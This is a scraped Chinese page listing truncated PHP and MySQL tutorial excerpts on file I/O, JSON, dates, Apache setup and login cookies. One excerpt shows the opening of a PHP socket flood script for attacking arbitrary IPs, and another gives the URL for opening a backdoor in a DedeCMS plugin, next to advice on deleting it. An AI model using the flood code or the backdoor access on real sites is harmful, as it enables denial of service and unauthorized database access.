Time of Update: 2016-07-21
涉及多個方面,比如PHP代碼規範、PHP檔案命名規範、網站開發流程、網站安全與維護等。作為PHP開發規範的開篇,我從一個純PHP開發人員的角度來說說我所認為的PHP代碼規範,主要從PHP目錄架構結構、PHP代碼書寫規範、PHP檔案命名規範三個角度來闡述,希望對PHP入門學習者有所協助。 合理建設PHP目錄架構結構 我們知道在使用PHP進行網站開發之前,我們需要建設網站的目錄結構,網站目錄架構結構設計得合理規範,不但有利於網站開發,而且對SEO,網站推廣都有好處。
Time of Update: 2016-07-21
如果您想要去掉字串開始和結束的空白可以使用PHP內建函式trim() 。但是, 我們經常想完全清除空白。需要把開始和結束的空白清除掉,將多個空白變為一個空白,使用一個規則來處理同樣的類型的其它空白。 完成這些可以使用PHP的Regex來完成 下例可以去除額外Whitespace 複製代碼 代碼如下: $str = " This line contains\tliberal \r\n use of whitespace.\n\n"; // First remove the
Time of Update: 2016-07-21
/** * @author xiaoxiao 2011-1-12 * @link http://xiaoyaoxia.cnblogs.com/ * @license * 統計目錄下的檔案行數及總檔案數··去除注釋 */ $obj = new CaculateFiles(); //如果設定為false,這不會顯示每個檔案的資訊,否則顯示 $obj->setShowFlag(false); //會跳過所有All開頭的檔案 $obj->setFileSkip(array('All')); $obj-
Time of Update: 2016-07-21
在PHP中解析JSON主要用到json_encode和json_decode兩個PHP JSON函數,比PHP解析XML方便很多,下面詳細介紹下PHP JSON的使用。JSON基礎介紹 JSON(JavaScript Object Notation) 是一種輕量級的資料交換格式。 JSON主要有兩種結構: “名稱/值”對的集合,在PHP中可以理解為關聯陣列 (associative array)。 值的有序列表(An ordered list of
Time of Update: 2016-07-21
【apache安裝】 複製代碼 代碼如下: httpd.exe -k install -n "apache2.2.15" httpd.exe -k start -n "apache2.2.15" 【apache卸載】 複製代碼 代碼如下: httpd.exe -k stop -n "apache2.2.15" httpd.exe -k uninstall -n "apache2.2.15" 【httpd.conf配置關鍵】 複製代碼 代碼如下: ServerRoot
Time of Update: 2016-07-21
複製代碼 代碼如下: $url = "http://sinaurl.cn/hbdsU5"; echo unshorten($url); function unshorten($url) { $url = trim($url); $headers = get_headers($url); $location = $url; $short = false; foreach($headers as $head) { if($head=="HTTP/1.1 302 Found") $short =
Time of Update: 2016-07-21
PHP學習筆記之二 1. 數組 PHP的數組其實是一個關聯陣列,或者說是雜湊表。PHP不需要預先聲明數組的大小,可以用直接賦值的方式來建立數組。例如: //最傳統,用數字做鍵,賦值 $state[0]="Beijing"; $state[1]="Hebei"; $state[2]="Tianjin"; //如果鍵是遞增的數字,則可以省略 $city[]="Shanghai"; $city[]="Tianjin"; $city[]="Guangzhou"; //用字串做鍵
Time of Update: 2016-07-21
在PHP網站開發中,儲存資料通常有兩種方式,一種以文字檔方式儲存,比如txt檔案,一種是以資料庫方式儲存,比如Mysql,相對於資料庫儲存,檔案儲存體並沒有什麼優勢,但是檔案讀寫操作在基本的PHP開發中還是時有使用,今天和大家分享如何利用PHP技術實現檔案讀寫之檔案寫入操作教程,也算是對PHP檔案讀寫操作的入門學習。 將資料寫入檔案的操作主要涉及三個步驟及部分檔案操作函數如下: 1、開啟檔案(檔案操作函數:fopen) 2、寫入檔案(檔案操作函數:fwrite等) 3、關閉檔案(
Time of Update: 2016-07-21
下面是在Linux上登入mysql,建立資料庫和建立表的過程。 yin@yin-Ubuntu10:~$ mysql -u root -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 360 Server version: 5.1.41-3ubuntu12.1 (Ubuntu) Type 'help;' or '\h' for help.
Time of Update: 2016-07-21
複製代碼 代碼如下://mktime = mktime($hours,minute,seconds,month,day,years) $start_time = mktime(0,0,0,01,09,2010); //開始時間 $end_time = mktime(0,0,0,02,09,2010); //結束時間 $times = $end_time-$start_time; //開始與結束之間相差多少秒 $now_time = $times/(24*3600);
Time of Update: 2016-07-21
PHP檔案讀取操作相對於檔案寫入操作涉及更多的PHP檔案操作函數,在代碼執行個體中會詳細介紹這些函數。 讀取文字檔中儲存資料的方式主要涉及的三個步驟及部分檔案操作函數如下: 1、開啟檔案(檔案操作函數:fopen) 2、檔案資料讀取(檔案操作函數:fgets、file、readfile、feof等) 3、關閉檔案(檔案操作函數:fclose)
Time of Update: 2016-07-21
php實現記住密碼自動登入方法不止一個,下面出現有二個emptyempty,其實是一個,那是因為代碼高亮有bug。希望對大家有協助。 一,使用者登入的check 複製代碼 代碼如下: //檢查使用者是否登入 function checklogin(){ if(emptyempty($_SESSION['user_info'])){ //檢查一下session是不是為空白 if(emptyempty($_COOKIE['username']) ||
Time of Update: 2016-07-21
1.用系統管理員登陸系統。 2.停止MySQL的服務。 3.進入命令視窗,然後進入MySQL的安裝目錄,比如我的安裝目錄是c:mysql,進入C:mysqlbin 4.跳過許可權檢查啟動MySQL, c:mysqlbin>mysqld-nt --skip-grant-tables 5.重新開啟一個視窗,進入c:mysqlbin目錄,設定root的新密碼 c:mysqlbin>mysqladmin -u root flush-privileges password "newpassword" c:
Time of Update: 2016-07-21
當我過去用ASP時解決這個問題相當簡單,ASP有相應的函數DateDiff可以給出兩個日期間間隔多少月、多少天和多少秒。當我搜尋完PHP手冊後我發現PHP並沒有類似的函數。 本文包含以下內容: 1、 得到目前的日期和時間-我們有多少種方式? 2、 改變日期顯示的方式-日期和時間的顯示形式 3、 轉換現在的日期為Unix的時間戳記值 4、 改變日期 a. 增加時間 b. 減去時間 c. 找出兩日期之間的間隔 5、 為PHP添加DateAdd函數 6、 為PHP添加DateDiff函數
Time of Update: 2016-07-21
用PHP代碼調用sockets,直接用伺服器的網路攻擊別的IP,常見代碼如下: 複製代碼 代碼如下: $packets = 0; $ip = $_GET[\'ip\']; $rand = $_GET[\'port\']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET[\'time\']; $time = time(); print \"Flooded: $ip on port $rand \";
Time of Update: 2016-07-21
複製代碼 代碼如下: class MyFramework_Soap_server extends Zend_Soap_Server { protected $_login = ''; protected $_password = ''; public function __construct($wsdl = null, array $options = null) { parent::__construct($wsdl,$options); if(isset($options['login'])
Time of Update: 2016-07-21
線上示範地址:gb2312版本 http://tools.jb51.net/tools/base64_decode-gb2312.phputf8版本 http://tools.jb51.net/tools/base64_decode-utf8.php複製代碼 代碼如下:header('Content-Type: text/html; charset=gb2312'); $txt1 = stripslashes(trim( @$_POST['text1'])); $button =
Time of Update: 2016-07-21
eq相等, ne、neq不相等, gt大於, lt小於, gte、ge大於等於, lte、le 小於等於, not非, mod求模。 is [not] div by是否能被某數整除, is [not] even是否為偶數, $a is [not] even by $b即($a / $b) % 2 == 0, is [not] odd是否為奇, $a is not odd by $b即($a / $b) % 2 != 0 樣本: equal/ not equal/ greater than/
Time of Update: 2016-07-21
項目中把錯誤等級設定為:error_reporting(E_ALL | E_STRICT); 陣列變數未定義也會報錯,其實挺好的,但有時候真的不需要報該錯誤,PHP的解決辦法是: @$_GET['unkown'];
Time of Update: 2016-07-21
去除官方後門方法:安裝好採集大師後,請立即刪除 include目錄下的dedesql.query.php檔案,如已經安裝過,有可能檔案已被改名為arc.sqlquery.class.php,找到並刪除即可。此檔案可被利用來在無需登入驗證的情況下查詢網站資料庫,並進行更新、刪除、查詢資料等操作。大家也可以自己測試一下是否如我所說,方法: http://你的網域名稱.com/include/dedesql.query.php.php?dopost=viewinfo 輸入以上網址,即可開啟後門介面。